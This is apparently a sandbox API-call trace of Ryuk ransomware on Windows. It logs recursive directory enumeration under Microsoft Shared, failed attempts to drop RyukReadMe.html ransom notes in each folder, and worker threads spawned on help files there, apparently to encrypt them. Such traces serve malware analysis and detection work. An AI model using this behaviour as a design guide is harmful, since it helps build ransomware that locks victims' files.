	[0174.167] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0174.167] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0174.167] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0174.167] SetLastError (dwErrCode=0x0) 
	[0174.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.168] GetLastError () returned 0x5
	[0174.168] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0174.168] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.168] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0174.168] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0174.168] SetLastError (dwErrCode=0x0) 
	[0174.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.169] GetLastError () returned 0x5
	[0174.169] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0174.169] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.169] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1
	[0174.169] SetLastError (dwErrCode=0x0) 
	[0174.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.170] GetLastError () returned 0x5
	[0174.170] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0174.170] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0174.170] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0174.170] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1
	[0174.170] SetLastError (dwErrCode=0x0) 
	[0174.170] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.171] GetLastError () returned 0x5
	[0174.171] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0174.171] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.171] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0174.171] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0174.172] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0174.172] SetLastError (dwErrCode=0x0) 
	[0174.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.172] GetLastError () returned 0x5
	[0174.172] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0174.172] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.172] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0174.304] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0174.305] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1
	[0174.305] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc
	[0174.307] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.308] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1
	[0174.308] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8
	[0174.310] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.311] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1
	[0174.311] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1
	[0174.311] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4
	[0174.314] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.314] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1
	[0174.314] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x91c
	[0174.317] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.317] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1
	[0174.317] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x918
	[0174.320] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.321] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1
	[0174.321] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924
	[0174.322] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.323] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1
	[0174.323] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0174.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920
	[0174.326] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.327] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x8e, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0
	[0174.327] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0174.329] SetLastError (dwErrCode=0x0) 
	[0174.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.456] GetLastError () returned 0x5
	[0174.457] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0174.457] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.457] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x84, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1
	[0174.457] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x84, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0
	[0174.457] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0174.457] SetLastError (dwErrCode=0x0) 
	[0174.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.458] GetLastError () returned 0x5
	[0174.458] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0174.458] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.458] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0
	[0174.458] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0174.458] SetLastError (dwErrCode=0x0) 
	[0174.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.459] GetLastError () returned 0x5
	[0174.459] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0174.459] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.459] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1
	[0174.459] SetLastError (dwErrCode=0x0) 
	[0174.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.459] GetLastError () returned 0x5
	[0174.459] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0174.460] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.460] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0174.460] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0174.460] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1
	[0174.460] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1
